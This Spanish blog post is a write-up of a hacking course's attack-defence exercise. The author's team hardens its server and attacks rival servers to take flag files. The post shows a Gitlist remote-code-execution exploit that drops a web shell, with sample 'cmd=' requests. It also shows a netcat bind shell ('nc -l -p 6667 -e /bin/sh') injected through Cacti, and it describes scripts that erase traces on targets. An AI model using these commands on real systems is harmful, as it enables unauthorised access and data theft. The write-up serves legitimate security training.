MoocHackingMU – Fin del Mooc

Bueno, todo llega  su fin y es ahora cuando queda explicar que es lo que hemos hecho en el reto, y como hemos llevado a cabo la protección de nuestro servidor y el ataque de los servidores de los contrincantes.

Primero destacar que este articulo esta relacionado con la ultima tarea que se nos pide en el mooc,  pero si bien es cierto que ahí se habla de escribir el articulo sobre uno mismo, creo que, en el caso del grupo donde he estado, no seria justo, sobre todo por que han sido en gran medido mis compañeros los que han dado una caña infinita a los servidores remotos y al nuestro propio.

Por un lado el grupo que creamos.
Pellizco en el cuello estilo vulcano.

 

pellizcoLos miembros del Grupo eramos:

  • Artur Mi
  • Angel Alonso Romero
  • Eneko Azula
  • Xavier Barbellido
  • Alfonso Lopez Moreno
  • Harriet Bilbao Larruzea
  • Jesus Pardo Delgado
  • Jorge Valencia Tienda

Así que detallo a continuación lo que hicimos.

1º buscar nuestras propias vulnerabilidades.

Los ficheros a proteger de nuestro servidor y a “robar” de otros servidores eran:

  1. /srv/ftp/mooc-hacking-team-0011-level-02.gpg
  2. /usr/share/doc/base-files/mooc-hacking-team-0011-level-01.gpg
  3. /var/lib/mysql/mooc-hacking-team-0011-level-03.gpg

Por un lado empezamos a buscar vulnerabilidades en los servicios que estaban ejecutándose en la maquina, vsftpd, Cacti, y Gitlist etc…

Por lo tanto primero detectamos los servicios que estaban ejecutándose en la maquina:

  • acpid
  • apache2
  • atd
  • avahi-daemon
  • cron
  • dbus
  • postfix
  • rsyslog
  • ssh
  • udev
  • vsftpd

y de eso cuales tenían puertos abiertos:

puertosport2

Empezamos a descubrir lo que se podía hacer:

mooc-hacking-team-0011-level-02.gpg

Ese fichero se podía obtener mediante ftp, ya que estaba el usuario anonymous/anonymous activo.

Para blindar este fichero, había que deshabilitar el usuario anonymous.

esto se cambia en /etc/vsftpd.conf poniendo anonymous_enable=NO

Y ademas le dimos un poco de humor  ftpd_banner=Solo el penitente pasara! para ocultar la versión.
Después se reinicia el servicio con el servicio con sudo service vsftpd restart

Ademas era necesario comprobar bugs (fallos) de la versión de ftp  (vsFTPd 2.3.5).

Detectando que vsftpd 2.3.5 tiene un exploit http://www.computersolutions.cn/blog/2013/05/vsftpd-chroot-broken-functionality-in-2-3-5/

También se comprobó si el sistema operativo tenia la vulnerabilidad shellshock.

shellshock

Se desactivo la respuesta a los ping del servidor.

Editar el archivo

añadir la siguiente línea:

net.ipv4.icmp_echo_ignore_all = 1

por último replicar los cambios con:

Ademas realizamos cambios en las protecciones de red a través de Iptables

Continuando con la configuración de IP tables:

Despues de la proteccion de Red nos metimos a buscar vulnerabilidades de los servicios y aplicaciones que se ejecutaban.

→ Modificado en php.ini open_basedir para contener el Path Traversal.

Vulnerabilidad Media: PHP expose_php Information Disclosure

http://188.166.XXX.XXX/cacti/index.php/?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000

Version: $Revision: 1.4 $

→ Set the “expose_php” setting to “Off” in the php.ini file, which will disable this functionality.

Modificando el fichero php.ini reseteandolo y no mostrando ninca mas la info de la version.

Vulnerabilidad Media: Web Application Potentially Vulnerable to Clickjacking

CWE:  693 The following pages do not use an X-Frame-Options response header :

Vulnerabilidad Baja: Web Server Transmits Cleartext Credentials

The remote web server contains several HTML form fields containing an input of type ‘password’ which transmit their information to a remote web server in cleartext. CWE:  522, 523, 718, 724, 928, 930

Vulnerabilidad Baja: FTP Supports Cleartext Authentication The remote FTP server allows the user’s name and password to be transmitted in cleartext, which could be intercepted by a network sniffer or a man-in-the-middle attack. CWE:  522, 523, 928, 930

Vulnerabilidad Baja: SSH Server CBC Mode Ciphers Enabled. The SSH server is configured to support Cipher Block Chaining (CBC) encryption. This may allow an attacker to recover the plaintext message from the ciphertext. CVE:  CVE-2008-5161, OSVDB:  50035, 50036, BID:  32319, CERT:  958563, CWE:  200

Vulnerabilidad Baja: SSH Weak MAC Algorithms Enabled

Por otro lado se cambiaron los permisos de los ficheros críticos eliminando lectura a grupos y otros .

Continuando con la proteccion de servicios:

→ editado el fichero conf /etc/mysql/my.conf se evitaba la carga de ficheros locales, al añadir las siguientes lineas:

→ Asi Deshabilitadas funciones en php-ini y añadido en disable_functions

Después de estos primeros pasos de proteccion nos metimos con la chicha del servidor.

Gitlist <= 0.4.0 – Remote Code Execution fuente: https://www.exploit-db.com/exploits/33929/

Unauthenticated Remote Command Execution

Exploit

python gitlist.py http://188.166.XXX.XXX/gitlist/gitlist

[!] Using cache location /var/www/gitlist/cache

[!] Shell dropped; go hit http://188.166.XXX.XXX/gitlist/cache/x.php?cmd=ls

con lo cual se podia obtener el fichero directamente:

http://188.166.XXX.XXX/gitlist/cache/x.php?cmd=more%20/srv/ftp/mooc-hacking-team-0011-level-02.gpg

como el usuario que lanzaba el apache no tenia acceso de lectura a este fichero, habia que atacar via CACTI, por lo tanto “el proteger obligatorio era…

Para actualizar el gitlist, renombramos la versión anterior a gitlist04, se descargo la ultima versión con git clone (según documentación) y se sobre escribió la antigua.

Esta proteccion estaba relacionada con el fichero level2 pero para el level 3 nos basamos en proteger la vulnerabilidad relacionada con Get Memory Usage Remote Command Execution http://osvdb.org/show/osvdb/60566

Hemos introducido en las preferencias de Input String y en el apartado de Memoria el siguiente comando:

→ nohup nc -l -p 6667 -n -e /bin/sh &

Este se ejecuta cada cierto tiempo y abre un puerto a la escucha que es redirigido a las shell. Por otra parte en el atacante iniciará con netcat la conexión inversa a esa shell:
nc -vvv xxx.xxx.xxx.xxx 6667

Y finalmente ejecutaremos las instrucciones que están a continuación y que imprimirán en pantalla el texto encriptado PGP.

Por supuesto actualizamos alguna cosa mas pero para no volverte loco decirte que finalizamos la proteccion instalando OSSEC.

CONFIGURACION OSSEC

2º despues de esta fase de proteccion, tocaba la fase de ataque.

Para esta fase mis compañeros crearon un script para cuando publicaran las direcciones ips y lanzarlo. Este script se descargaría todos los ficheros de los ftp a traves de anonymous lo antes posible. Teniamos la duda si iba a ser posible, ya que el fichero a descargar  (mooc-hacking-team-0011-level-02.gpg) cambiaba de nombre según equipo.

→ Lo bueno es que solo era necesario crear un fichero con las direcciones y pasárselo como parámetro.

Ademas se creo una lista de servidores con diferentes situaciones. No existe, existe pero no tiene ftp, tiene ftp pero no acceso anónimo, y con acceso anónimo para probar el script. Todo esto con un retry y 10 segundos de timeout.

Para acceder al fichero de nivel 3, se hizo otro script.

Este es el script que lee como parámetro el nombre de un fichero con una lista de las direcciones a atacar, y como segundo parámetro el nombre del script de python que explota la vulnerabilidad del gitlist. Luego explota la vulnerabilidad, descarga los ficheros y borra los ficheros creados en el servidor para pasar más desapercibidos.

El script se llamaba katra, que es la esencia de la mente vulcaniana que puede ser traspasada de un ente a otro antes de su muerte.

Y por ultimo para poder acceder al fichero de nivel 3, lo hicimos a traves del Mysql
Bueno como veis ha sido una buena cantidad de esfuerzo y de nuevo agradecer a los compañeros todo el trabajo que han realizado, sin lugar a dudas, magnifico!!!

Con esto conseguimos :

ficheros:

  • Nivel 1= 38
  • Nivel 2= 40
  • Nivel 3= 27

En fin espero no haberme dejado muchas cosas en el tintero, ya que al final en proceso ha sido muy concentrado pero intenso en pruebas, ejercicios etc…

Veremos los resultados!!!

Alfonso López

Alfonso López

Instagram

MBA Dirección de Sistemas de Información.
Grado Ingeniería Informática.
Ingeniero Técnico Informática sistemas.
CISM - LPIC1 - SUSE SCA - MCSE
___________________________________________

Alfonso López

También te podría gustar...

Di lo que piensas

Uso de cookies

Este sitio web utiliza cookies para que usted tenga la mejor experiencia de usuario. Si continúa navegando está dando su consentimiento para la aceptación de las mencionadas cookies y la aceptación de nuestra política de cookies , pinche el enlace para mayor información.Mas información sobre las cookies

ACEPTAR
Aviso de cookies